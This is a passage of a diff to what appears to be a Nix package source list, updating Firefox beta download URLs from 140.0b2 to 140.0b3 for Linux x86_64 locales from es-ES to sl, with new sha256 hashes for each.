+      sha256 = "c9888370387548a0c7b26facd131e8effc9b43bf27d4d2ad31cec12c3e39eecd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/es-ES/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/es-ES/firefox-140.0b3.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "575e9368ff7bbac6c168441d1095472bd29eeaf8dbb271bf7c1ef14d0e0c69ed";
+      sha256 = "6fd830a501cebe0dd6a005cc00eb326cc82c30f38836da4ba46a79be13401377";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/es-MX/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/es-MX/firefox-140.0b3.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "5ce0c62e79621a15c533768282344b523b96c478d463de58754e3808bccf4d0b";
+      sha256 = "0f65338c18d4cd2bc4fc5b4eecaf62d759e532059588a920ce19de13d941ec7a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/et/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/et/firefox-140.0b3.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "b8493cd786ec0beb918cd7bbe5009d039ec6e5b8fa2f8cdd80309a3325947015";
+      sha256 = "904917e0115be1015954139ddf50395ec69e297082bd37f14a280415471116cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/eu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/eu/firefox-140.0b3.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "5573776ed1d9b4dda2d0bd566b2b4c8a83906193005f2db7f953d1eb57079335";
+      sha256 = "9e03aeda162aa17a17eb3336e430dffbc415685cd211aadfc43a5f616c8e8758";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/fa/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/fa/firefox-140.0b3.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "59a775986c659bf12ef00f2f13de480b69279d1881358827244eae0ba6631976";
+      sha256 = "6054bf75fad6b65c29b2f7c4e223df75f02b5ccabceb86b9c5e5e42b741f7bfd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ff/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ff/firefox-140.0b3.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "2e5bec3ebf2b31d9a3eac67f03f9fadf249956df08529fccfb1fe6d305c99e31";
+      sha256 = "ebea919c503fc4523e1c594216ce8079316c9d377ba9bae6a6729ee3182c9df3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/fi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/fi/firefox-140.0b3.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "f31288ef2e48ac0cb3fdff3395346927fd866878d22bcc9be6a70fb1c86cb441";
+      sha256 = "3126d98ccd0c5f16b77a71ad4c11423482cd5c7d8f7d10f7828e9e6d11e0f461";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/fr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/fr/firefox-140.0b3.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "4d011e05781ad8cf93d704e7455e28a0325c07d0b3bd12ade2f315b918e9fe65";
+      sha256 = "9ddfee47dd74850d20f7aa87cbf92b46ff237d0a934d871025b92a364b2cb4c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/fur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/fur/firefox-140.0b3.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "042c4f0d7fa4a638db9dec99fd30d7af490fd11097b4adfa9f7d474bccabb4a1";
+      sha256 = "05025972440fdc4087266a88d02e6968b52a43ff6d77f0190a659eac6ae816c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/fy-NL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/fy-NL/firefox-140.0b3.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "7c44584b9bc19d943191385cc8c56420f77fba6e4f9712a229797b3cf6588639";
+      sha256 = "4243921762a60f5ce51e7737b6d3fe9bcc4dfea67c9198a1b917290efba9d0f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ga-IE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ga-IE/firefox-140.0b3.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "33ee655e264ed6b96a3aa75e7f1d7cd6c188fa55eb6c07c633cd7a388d04ce03";
+      sha256 = "71a26a2fbaaf721ea307a8c3a8b083ef70077765f3a7278d25385b531ac315dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/gd/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/gd/firefox-140.0b3.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "24a8becd37c3836af08e14e010914563ab4a205380b8a7ebeb856afe552f6c17";
+      sha256 = "c44b110b0fc96d3826103b0799bbd3df88cee0c8972f7e60f556590e053d9636";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/gl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/gl/firefox-140.0b3.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "a0be7754c2e9b50429b62decb89123da0818530ffdecfae333b2c94342d23975";
+      sha256 = "a6707479746e71d8c3d5af40500433c2290fce9d2ff98bd3ecd89bdbb9cd182c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/gn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/gn/firefox-140.0b3.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "ad5844d9720a0847aa8ccd06fe2fb948cbebc2b1adfe0fc871d18b0461ad4591";
+      sha256 = "d2dcd4701b0563af8825c3eb3aa22ffd2702d9a8458cd0ed4896a9bf57c0d291";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/gu-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/gu-IN/firefox-140.0b3.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "7a32e73b96af77fbcb4a14fb6098d270a73484054ea9d8a47319247f2ba2db0d";
+      sha256 = "eec813b14a376b6f0e7c251ada0e972fbaae06db077e1e5ad63f5a069c81ad97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/he/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/he/firefox-140.0b3.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "50a1e0ea0c17140525584a1cbb7de67801af5be12765d4d610cd70dea4ad1bfc";
+      sha256 = "e3952c61718e26ea8f9aeb73a3b8146bd0163aa87388db2f518e997aed1163a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/hi-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/hi-IN/firefox-140.0b3.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "9871be936ad26228905a9bbabc94f8b027b066af8b4a27c0895fbb927dfea723";
+      sha256 = "b00059920c29e3e11dbb2fe3051acee804dda39838706a65c3716bdccabf7e9b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/hr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/hr/firefox-140.0b3.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "f950a486143e3658168f7caed53f546679d5af41994398ccd3578222c4f6c513";
+      sha256 = "d77d3d50678d17098e9996edb0642bd8e6a1ccb983ea68e376d59e2ae0529779";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/hsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/hsb/firefox-140.0b3.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "1885e8881aa7bc06a993fd350c0368f85101d007583eb3b9145e9fc777ba2012";
+      sha256 = "45e839005799d5bdbcbed3869680da6ca0ad42c3f9932b61e0f8e3fbc0316fee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/hu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/hu/firefox-140.0b3.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "3efa843d3a3c1b8ca7454959ea2838ff436cb5820725b98599a99f57db4f21fe";
+      sha256 = "2c655b6b1e91265befe5f7c1745a9ea8f4a97f6995ed2f4c4b3eede9fd07c8a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/hy-AM/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/hy-AM/firefox-140.0b3.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "4566fba506a4ee45d1152a5ebb716ec264e1cccfa84b011cb6bbccc1d58e5ffc";
+      sha256 = "bcc23fec185ab50660111850185ad9caeafabc056a77e6b8d99e12962da030ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ia/firefox-140.0b3.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "e599c11c636a7912a5d64df4c4f642c6b23b8ac8917602319c7d1aadf2c6e15a";
+      sha256 = "c70ac08f5d1ac3c2175b5c1f0fed88564a8fc921771e0cb6082bfe9502f08407";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/id/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/id/firefox-140.0b3.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "788e2874ea4d845a742eb4f5ef9e02c79ad3ce156a09e1b7db19e83ed661b650";
+      sha256 = "b77533733de76fde27cdcb220f2f4c985784aeeb65456a8aa4f22689d1a78633";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/is/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/is/firefox-140.0b3.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "280b95ffa32b43aa893b0df87fdda0adb14826b8a2b195c8a8a6f21174894412";
+      sha256 = "e8d28dfed20bc64fdb431c6149c8f46a1601dcdb7c198e6aaac3bc26849ed564";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/it/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/it/firefox-140.0b3.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "5bf7718acb53c53244cb9979ed72c132b14b66b53caf51d554b01e601dfc116d";
+      sha256 = "aa7017e3cc75ee281523f109c5a804a2686cb2d120af07f639cbe6e0b529f95b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ja/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ja/firefox-140.0b3.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "67cffcb3c101d24c384056b9ed5285f78a5a00421753524a8a4936d2ac3727c9";
+      sha256 = "aac539dc6adaed5e46f5dc180e6d5df7e58e7d06c9b3eb8840f67bb3005a3d1b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ka/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ka/firefox-140.0b3.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "e868d7da325cb38a4a6360aaeec5d34d2e7aa545da2682226b319b4f3aca2d53";
+      sha256 = "dca7592228e259a535805f0b40473448dbf5406f8bec1a313ae39621ba3a22e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/kab/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/kab/firefox-140.0b3.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "0de027c78af9346e30d4d64595ea81d5c522bb3a44e33e380b45e0d9fcfd0f28";
+      sha256 = "02cea8e48adce2143ffa78f564da31a26355572df7bf1a379e743a7ec4949a90";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/kk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/kk/firefox-140.0b3.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "411e311bac40c12392aca73a5a4315fc015ba413526d20a19c620f74a66a8200";
+      sha256 = "12e9811a0fb02ff7c52790d2fdfd116e2232fc6788cfd84e9d52009ab480d846";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/km/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/km/firefox-140.0b3.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "6575b0b44caa29ba2d2ce4f69ccd0ac09c2d89b86eb9a541632a0e155e8108f2";
+      sha256 = "fbde93d1aad4c0cd059b14ae9ae0bd1ccf95374009aaafe68e830007b4cf496a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/kn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/kn/firefox-140.0b3.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "a1757ad5a847e430271d2cc99a3ef45ea409d0f8df52d8df38012e618ddb90fe";
+      sha256 = "975aaf5d7a139ea4ecb3d92b2cff56373a63069e7735478eafa596e1dca2a7d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ko/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ko/firefox-140.0b3.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "6aa52561db8818725fe013bc7940b81c07e38c2678ef427675d0fc58c6741da6";
+      sha256 = "6c43fd5ae7e8d8af3e87940dfb49a6183c540fc18e98fcfe00ffce137b5682af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/lij/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/lij/firefox-140.0b3.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "c07084a6bc9324dd71dc442fe24934bf29873b6e7e5158ae68eb4323507a5b0a";
+      sha256 = "da9bf66ee9231718bcbcbf16662b631984b75bb73bef82e58d1442560a2c0232";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/lt/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/lt/firefox-140.0b3.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "5b088e25ded761cd501be0f5617349a2126c9eec6839e3ec6bcdc0b19ec9db02";
+      sha256 = "c8f018f9494291e01e4dedd3dc0e496c1c4fc4d346896f5225972d182f231c57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/lv/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/lv/firefox-140.0b3.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "2bfe6a0bb5522305f577608ca6759013be5a947fd3e5e253191dc25376d2ab12";
+      sha256 = "6a46324a4abedeea12aaeeb6f88af8b0277af5863a4977f06c33a0df7d3a9f3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/mk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/mk/firefox-140.0b3.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "441e386a2c4c0f3602907f48438b390a19e1f6a00831f8160b3212724d7da07d";
+      sha256 = "b1f2fc79baff629f24d0ae75fb8b29559a607b8b1434d745e8b9b5ab0c40ef14";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/mr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/mr/firefox-140.0b3.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "c9f51bf2d9ebf2e76c80d2911f15f1ebb0272011c39059ea9a4e1c1bf83bf190";
+      sha256 = "04eceab79c3d3156fb27968108abbe0d7b0f01608f788eed474512bb82412fd8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ms/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ms/firefox-140.0b3.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "261acca048d14496d15c2ebd56fa069346b194c652f0f6f2cd9afbe8ffad02f0";
+      sha256 = "17e8527080d60c18a363ced9e36548ed5bf575e8ad62bf5c397cf26fe06cb078";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/my/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/my/firefox-140.0b3.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "58ba0821d03e4f362bc506b420427c02ca69ae43eb5bf241caa481ee791f1c13";
+      sha256 = "19e137672d04c8eefff895b9c434a5b940c881aca4669b5f31947081c202c476";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/nb-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/nb-NO/firefox-140.0b3.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "5792c3f26540c20ba966fe7d587a1874452eb4346d72c24ede6a8bdaeaf704cb";
+      sha256 = "97deb521ad609263c0dbe13458c4500021422a4f3bc84bbdd2a1aa290d288abf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ne-NP/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ne-NP/firefox-140.0b3.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "2f0656c6a7ae21a07a506b4293afcd85f6d3376961a71d5b45af698d67496d17";
+      sha256 = "717d6e19cd002fc19208cf2506f2d4508561316f759154ff212928a20a44a195";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/nl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/nl/firefox-140.0b3.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "e135d0459ba83b78cbd606e2fb033f8fc945ff628959103ef65747123bee7cae";
+      sha256 = "765d8adf054295479e63d40fead98656d3d672bb7f4a42a8dc9c0cd5e8c29815";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/nn-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/nn-NO/firefox-140.0b3.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "24ae203327f886d34d71d1820292fea86cbd39bb68400a317e1185c291739eb8";
+      sha256 = "74d183d64ed423bc1dea8972a4f32378aded5c733b6f58a1e6d178f49024f7c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/oc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/oc/firefox-140.0b3.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "fe061945a5fab1a73a03f424e02db5e90f490b3dbab11af978bf2bca27abd44c";
+      sha256 = "883fe66e83b2af674d9596a52910f28703548bd7c0615e15587a980a93d38c16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/pa-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/pa-IN/firefox-140.0b3.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "16e22303ce33d37a5462fe1f9cc09959a7f8efe77133d3d87b6a6b3d5fedf0d6";
+      sha256 = "ee586be768d0035a681acf83b5c68cc1c5cab04054afe8deb141a4c9f21d2890";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/pl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/pl/firefox-140.0b3.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "9e1d841a5e5457f62f20cee241e538b1336edffe42a893fcbcf616a5989044e0";
+      sha256 = "c65c7e68fb0ccf5b01bf17aee844c4e4ecf5192a630a2b4e2bb30de5752a9f9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/pt-BR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/pt-BR/firefox-140.0b3.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "e7da00d2172e5ce485957061bf3b8869f7437de3e3324dc9251f095e48ae26cf";
+      sha256 = "a097d98e98410dff2c051bd1d9a2667d54da22df0a1578c0d558e028835dd372";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/pt-PT/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/pt-PT/firefox-140.0b3.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "b44a97bb059b2c4d11fd4786be517b22db28eb61bec88dab6335fdc5820cfbfc";
+      sha256 = "788048f852dd4f215dcca69d6e658e75bf52fa9a2bdc7118b27d47025343d55a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/rm/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/rm/firefox-140.0b3.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "eecf8793a52e4f64391b3f424530b2ba9fe3474ad24ef16e3388272bb0cd1839";
+      sha256 = "b691ae86cfc7a1d4d22a25c04d84e89e3b616970012559bc182225539af0a92b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ro/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ro/firefox-140.0b3.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "b1d69873414e221ffbe2b5c7175487c5dcd97ae2b7da17011d14f0e6e1342e1c";
+      sha256 = "b9f502952d67e13bec4a5d4c7a780ed5f06c628463cb6c4a3c5b70febb2724f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ru/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ru/firefox-140.0b3.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "823e6ec4c9a1326cc08ef9afaa50f33e892517fb94b8cf135c5df2ad0b39af49";
+      sha256 = "daa5e9adffeff031b2bd764802482730cb37335a6a4b5ba011e708ebe39f771c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sat/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sat/firefox-140.0b3.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "2c24a66abdbe63b8537c1d1eb457e1078f4768fa4e1c628ec91c801fa4e29863";
+      sha256 = "3a2ebe89dc72f8b6988fb6742340623423df9d166030ed691c884d013de0fa83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sc/firefox-140.0b3.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "3f49ee23328467021066957d5c46150a2b2ed2216774d4593a2bedc8c3a116f6";
+      sha256 = "db27ece945871d6f988ae710daf52874e4d6cbe03eb950c4a4faeff6d67bd9b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sco/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sco/firefox-140.0b3.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "1d1ec36ea66705cd0b0d986d7f7ceca5a0b56dd98fd51cc640b3aba03454ab72";
+      sha256 = "976b40edd9700fbc012b55584824c77b4839be8cc2269dc8a178c6b2b3e57041";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/si/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/si/firefox-140.0b3.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "1d2609c2d3b7ef1badb501a65644d3dcd0e376a9a95fccbc751c9420aa9144ec";
+      sha256 = "e7d94105a1bbfbb30d220e7b10b6c59118a7556541bb2a25ba4aa3b454827841";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sk/firefox-140.0b3.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "adf327cae6a85ef120eb027a8e5477654db02f829bf673db4bdcc8c05dee86d6";
+      sha256 = "cc38654e9236e9dfc8b58e3795c9d347447f3832c8d5b6d50afbfc1298c1c996";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/skr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/skr/firefox-140.0b3.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "70f8da6b2e7ef52d707a80011ae8998342fa64def483ba4717f6c7e0ea1b7ac2";
+      sha256 = "12e95e82e29358039287da28a81a7f90d9d6dc7262f0f2aa541253856931eab6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/sl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/sl/firefox-140.0b3.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "bdd9383a3d0f8f736371956852a51583e68c0227612610b3831c6601b4cbd319";
+      sha256 = "bc6c1f3f4a8540baaa764aa34d571bb5743e2364cebd49d3326ddb01ba6b20cc";
     }
     {
